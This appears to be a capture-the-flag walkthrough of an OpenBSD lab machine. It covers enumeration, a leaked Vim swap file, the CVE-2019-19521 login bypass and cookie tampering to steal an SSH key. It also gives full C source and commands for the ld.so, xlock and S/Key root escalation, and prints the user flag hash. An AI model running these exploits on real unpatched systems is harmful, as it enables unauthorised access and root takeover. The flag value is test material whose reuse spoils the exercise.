Tracker

  • User
  • root  

Loot

Proofs

FileFlag
user.txt
root.txt

Summary

Overview/Highlights

OS: OpenBSD

OS Version:

DNS Hostname:

 

Solution

Enumeration

Open Ports

22/tcp open ssh syn-ack ttl 63 OpenSSH 8.1 (protocol 2.0)

	\| ssh-auth-methods:
	\| Supported authentication methods:
	\| publickey
	\| password
	\|\_ keyboard-interactive

80/tcp open http syn-ack ttl 63 OpenBSD httpd

	\| http-enum:
	\| /css/: Potentially interesting folder w/ directory listing
	\| /images/: Potentially interesting folder w/ directory listing
	\| /includes/: Potentially interesting folder w/ directory listing
	\| /js/: Potentially interesting folder w/ directory listing
	\|\_ /vendor/: Potentially interesting folder w/ directory listing

Directory Structure

		/index.php
		/css (Status: 301) \[Size: 443\]
		/fonts (Status: 301) \[Size: 443\]
		/images (Status: 301) \[Size: 443\]
		/includes (Status: 301) \[Size: 443\]
		/js (Status: 301) \[Size: 443\]
		/vendor (Status: 301) \[Size: 443\]

Manual Enumeration

  1. What is this keyboard-interactive thing from the ssh-auth-methods nmap script scan? I've never seen that one before.

  2. Nmap http-enum script tells me that we are running css/javascript, we might have html, txt, js file extensions.

  3. Looks like there are php pages as well, based on whatweb.

  4. Navigating to /index.php we are presented with a login page. Page Title states "OpenKeyS - Retrieve your OpenSSH Keys".

  5. First things first, let's fuzz the directories with a larger list. I'll start from the root directory and work my way deeper.

Fri Aug 07/16:16/root:scans> wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -z list,-.php --hc 404 [http://10.10.10.199/FUZZFUZ2Z](http://10.10.10.199/FUZZFUZ2Z) | tee -a ./tcp_80_http_wfuzz-.txt

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer                         *
********************************************************

Target: [http://10.10.10.199/FUZZFUZ2Z](http://10.10.10.199/FUZZFUZ2Z)
Total requests: 441092

===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================
000000003:   301        17 L     48 W     443 Ch      "images"
000000002:   200        101 L    195 W    4837 Ch     "index - .php"
000001071:   301        17 L     48 W     443 Ch      "css"
000001247:   301        17 L     48 W     443 Ch      "includes"
000001877:   301        17 L     48 W     443 Ch      "js"
000002933:   301        17 L     48 W     443 Ch      "vendor"
000005513:   301        17 L     48 W     443 Ch      "fonts"
000090451:   200        6 L      9 W      96 Ch       ""
000140202:   404        1 L      4 W      25 Ch       "coldfusion-management - .php"
  1. Ok, that's the same list of folders I had from my nmap enumeration. I skip fuzzing the images, css, js, and fonts folders since they are standard. I start fuzzing includes.
Fri Aug 07/17:00/root:scans> wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -z list,-.php --hc 404 [http://10.10.10.199/includes/FUZZFUZ2Z](http://10.10.10.199/includes/FUZZFUZ2Z) | tee -a ./tcp_80_http_wfuzz-includes.txt
  1. While that is running I try just browsing to the folder in browswer, that usually returns a 403 but it's worth a try.

  2. It works, and these auth files are very interesting. I won't be able to actually pull down the regular .php since it will execute server-side, but I can browse to it.

    1. It never actually loads, no source code or anything happens.
  3. Alright, lets wget the .php.swp and investigate it more. (nano just displayed junk data, strings gave me good output)

Fri Aug 07/17:06/root:loot> wget [http://10.10.10.199/includes/auth.php.swp](http://10.10.10.199/includes/auth.php.swp)
--2020-08-07 17:06:20--  [http://10.10.10.199/includes/auth.php.swp](http://10.10.10.199/includes/auth.php.swp)
Connecting to 10.10.10.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: ‘auth.php.swp’
auth.php.swp                      [  <=>                                             ]  12.00K  48.0KB/s    in 0.2s
2020-08-07 17:06:21 (48.0 KB/s) - ‘auth.php.swp’ saved [12288]

Fri Aug 07/17:06/root:loot> nano auth.php.swp

Fri Aug 07/17:06/root:loot> strings auth.php.swp
b0VIM 8.1
jennifer
openkeys.htb
/var/www/htdocs/includes/auth.php
3210
#"!
    session_start();
    session_destroy();
    session_unset();
function close_session()
    $_SESSION["username"] = $_REQUEST['username'];
    $_SESSION["user_agent"] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION["remote_addr"] = $_SERVER['REMOTE_ADDR'];
    $_SESSION["last_activity"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["login_time"] = $_SERVER['REQUEST_TIME'];
    $_SESSION["logged_in"] = True;
function init_session()
    }
        return False;
    {
    else
    }
        }
            return True;
            $_SESSION['last_activity'] = $time;
            // Session is active, update last activity time and return True
        {
        else
        }
            return False;
            close_session();
        {
            ($time - $_SESSION['last_activity']) > $session_timeout)
        if (isset($_SESSION['last_activity']) &&
        $time = $_SERVER['REQUEST_TIME'];
        // Has the session expired?
    {
    if(isset($_SESSION["logged_in"]))
    // Is the user logged in?
    session_start();
    // Start the session
    $session_timeout = 300;
    // Session timeout in seconds
function is_active_session()
    return $retcode;
    system($cmd, $retcode);
    $cmd = escapeshellcmd("../auth_helpers/check_auth " . $username . " " . $password);
function authenticate($username, $password)
<?php

I googled the b0VIM 8.1 header line, it looks like this is a Vim swap file.

Vim stores the things you change while editing a file in the swap file. This means that someone was editing auth.php and this is what they did/changed.

I tried to auth to index.php with jennifer:3210 which didn't work.

The only other service open is SSH, what can I do with that?

I tried to log in to ssh with jennifer:3210 which also didn't work. This is obviously a user on this host though, the swap file header has version, user, host, file.

Is there any vulnerabilities with OpenSSH on OpenBSD? Also that weird line in the ssh-auth scan, I'll google for that.

I find the following link: https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt. CVE-2019-19521: Authentication Vulnerabilities in OpenBSD

I test for vulnerability by executing below code. If result is hang, machine is vulnerable. Command hangs, is vulnerable.

ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive -o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 10.10.10.199

Ok, so I know what this box is vulnerable to, but the article doesn't demonstrate how to abuse it... Can I log in to the /index.php page with it though, since that has something to do with SSH Keys.

Yup, that worked, how can we make this in the context of jennifer though?

auth.php.swp referenced session cookies, can I just change the username in the request to jennifer?

I get two request caught in Burp when I do that. The first is obviously my POST request to /index.php, with the submitted username and password as data.

The second was a GET request to /sshkey.php, with the response access denied?

Looks like my cookie expired.

Ok, So I resend the request from my browswer and catch it in burp intercept.

I forward the initial request to obtain a cookie, then I return to the login page. Now when I attempt to log in as -schallenge:passwd again, the intercepted request has a phpsessid cookie. I terminate that and add the username I care about.

I forward the edited request, then I forward the redirect without any alteration. The response is user jennifer's OpenSSH private key displaying in my browser.

I add the private key to file id_rsa_jennifer, then attempt to log in to ssh using that key file. //BREAK// Whoops, forgot about the permissions halfway through, so I chmod 0700 then retry login.

Fri Aug 07/17:48/root:loot> ssh -i id_rsa_jennifer jennifer@10.10.10.199
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0770 for 'id_rsa_jennifer' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa_jennifer": bad permissions
jennifer@10.10.10.199's password:

Fri Aug 07/17:54/root:loot> chmod 0700 id_rsa_jennifer
Fri Aug 07/17:55/root:loot> ssh -i id_rsa_jennifer jennifer@10.10.10.199
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0770 for 'id_rsa_jennifer' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa_jennifer": bad permissions
jennifer@10.10.10.199's password:

Shit, forgot I can't use SSH keys in this shared folder because of the groups nonsense.

Fri Aug 07/17:55/root:loot> mkdir ~/.ssh_keys
Fri Aug 07/17:56/root:loot> cp id_rsa_jennifer ~/.ssh_keys/
Fri Aug 07/17:56/root:loot> chmod 0700 ~/.ssh_keys/id_rsa_jennifer
Fri Aug 07/17:57/root:loot> ssh -i ~/.ssh_keys/id_rsa_jennifer jennifer@10.10.10.199
Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$

Alright, looks like I'm logged in to this machine, am I the right user? Yup.

Fri Aug 07/17:57/root:loot> ssh -i ~/.ssh_keys/id_rsa_jennifer jennifer@10.10.10.199
Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2
OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019
Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

openkeys$ locate user.txt
/home/jennifer/user.txt
/usr/X11R6/share/doc/fontconfig/fontconfig-user.txt
/usr/X11R6/share/doc/xorgproto/SIAddresses/localuser.txt

openkeys$ id; cat /home/jennifer/user.txt; ifconfig
uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel)
36ab21239a15c537bde90626891d2b10
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 32768
        index 3 priority 0 llprio 3
        groups: lo
        inet6 ::1 prefixlen 128
        inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3
        inet 127.0.0.1 netmask 0xff000000
vmx0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        lladdr 00:50:56:b9:ee:b2
        index 1 priority 0 llprio 3
        groups: egress
        media: Ethernet autoselect (10GbaseT)
        status: active
        inet 10.10.10.199 netmask 0xffffff00 broadcast 10.10.10.255
enc0: flags=0<>
        index 2 priority 0 llprio 3
        groups: enc
        status: active
pflog0: flags=141<UP,RUNNING,PROMISC> mtu 33136
        index 4 priority 0 llprio 3
        groups: pflog

User Compromise

 

EoP Enumeration

Manual

Ok, I know this is an older version of OpenBSD since that sshd vulnerability has been patched. What version is this specifically? Are there any kernel exploits for it?

openkeys$ uname -a
OpenBSD openkeys.htb 6.6 GENERIC#353 amd64
Fri Aug 07/18:04/root:scans> searchsploit openbsd 6.
-------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                        |  Path
-------------------------------------------------------------------------------------- ---------------------------------
Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof | linux/local/19373.c
Debian 2.0/2.0 r5 / FreeBSD 3.2 / OpenBSD 2.4 / RedHat 5.2 i386 / S.u.S.E 6.1 - 'Lsof | linux/local/19374.c
FreeBSD 3.4 / NetBSD 1.4.1 / OpenBSD 2.6 - '/proc' FileSystem                         | bsd/local/19726.c
OpenBSD - 'ftp' Local Overflow                                                        | bsd/local/396.c
OpenBSD 2.x - 'fstat' Format String                                                   | openbsd/local/20256.c
OpenBSD 3.3 - 'Semget()' Integer Overflow (1)                                         | openbsd/local/23046.c
OpenBSD 4.5 - IP datagrams Remote Denial of Service                                   | openbsd/dos/8406.txt
OpenBSD 6.x - Dynamic Loader Privilege Escalation                                     | openbsd/local/47780.txt
OpenBSD HTTPd < 6.0 - Memory Exhaustion Denial of Service                             | openbsd/dos/41278.txt
OpenBSD HTTPd < 6.0 - Memory Exhaustion Denial of Service                             | openbsd/dos/41278.txt
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution          | openbsd/remote/48051.pl
OpenSMTPD < 6.6.3p1 - Local Privilege Escalation + Remote Code Execution              | openbsd/remote/48140.c
Solaris 2.x/7.0/8 / IRIX 6.5.x / OpenBSD 2.x / NetBSD 1.x / Debian 3 / HP-UX 10 - 'Te | unix/remote/21018.c
Sudo 1.3.1 < 1.6.8p (OpenBSD) - Pathname Validation Privilege Escalation              | bsd/local/1087.c
-------------------------------------------------------------------------------------- ---------------------------------
-------------------------------------------------------------------------------------- ---------------------------------
 Shellcode Title                                                                      |  Path
-------------------------------------------------------------------------------------- ---------------------------------
OpenBSD/x86 - Bind (6969/TCP) Shell Shellcode (148 bytes)                             | openbsd_x86/13476.c
-------------------------------------------------------------------------------------- ---------------------------------
Papers: No Results

Ok, I'll look at the privilege escalation for 6.x, 47780.txt. LPE in dynamic loader (ld.so). PoC has been tested against OpenBSD 6.6(!!!) Demonstration seems pretty straightforward, I'll make a lib.c file that sets my gid to 0, make sure the libraries are right, etc. There's no payload/shellcode I'll need to futz around with or anything.

I follow the instructions in the demonstration portion of the exploit txt.

openkeys$ cd /tmp

openkeys$ touch lib.c

openkeys$ cat > lib.c << "EOF"
> #include <paths.h>
> #include <unistd.h>
>
> static void __attribute__ ((constructor)) _init (void) {
>     if (setuid(0) != 0) _exit(__LINE__);
>     if (setgid(0) != 0) _exit(__LINE__);
>     char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
>     execve(argv[0], argv, NULL);
>     _exit(__LINE__);
> }
> EOF

openkeys$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c

openkeys$ touch poc.c

openkeys$ cat > poc.c << "EOF"
> #include <string.h>
> #include <sys/param.h>
> #include <sys/resource.h>
> #include <unistd.h>
>
> int
> main(int argc, char * const * argv)
> {
>     #define LLP "LD_LIBRARY_PATH=."
>     static char llp[ARG_MAX - 128];
>     memset(llp, ':', sizeof(llp)-1);
>     memcpy(llp, LLP, sizeof(LLP)-1);
>     char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
>
>     #define DATA (ARG_MAX * sizeof(char *))
>     const struct rlimit data = { DATA, DATA };
>     if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
>
>     if (argc <= 1) _exit(__LINE__);
>     argv += 1;
>     execve(argv[0], argv, envp);
>     _exit(__LINE__);
> }
> EOF
> 
openkeys$ gcc -s -o poc poc.c

Weird, lets just follow with vulnerability 2 from the earlier exploit we used to gain user access.

openkeys$ touch swrast_dri.c

openkeys$ cat > swrast_dri.c << "EOF"
> #include <paths.h>
> #include <sys/types.h>
> #include <unistd.h>
>
> static void __attribute__ ((constructor)) _init (void) {
>     gid_t rgid, egid, sgid;
>     if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
>     if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
>
>     char * const argv[] = { _PATH_KSHELL, NULL };
>     execve(argv[0], argv, NULL);
>     _exit(__LINE__);
> }
> EOF

openkeys$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c

openkeys$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[2] 10207

openkeys$ _XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root
env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66

openkeys$ id
uid=1001(jennifer) gid=11(auth) groups=1001(jennifer), 0(wheel)

Now that I have auth group privileges, I can run through the steps in part 3 of the vulnerability disclosure and abuse CVE-2019-19522, to gain LPE via S/Key and YubiKey.

openkeys$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root

openkeys$ chmod 0600 /etc/skey/root

openkeys$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN

openkeys# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

Shit, that was quick. Now just to get my proofs.

root Compromise


Next: Worker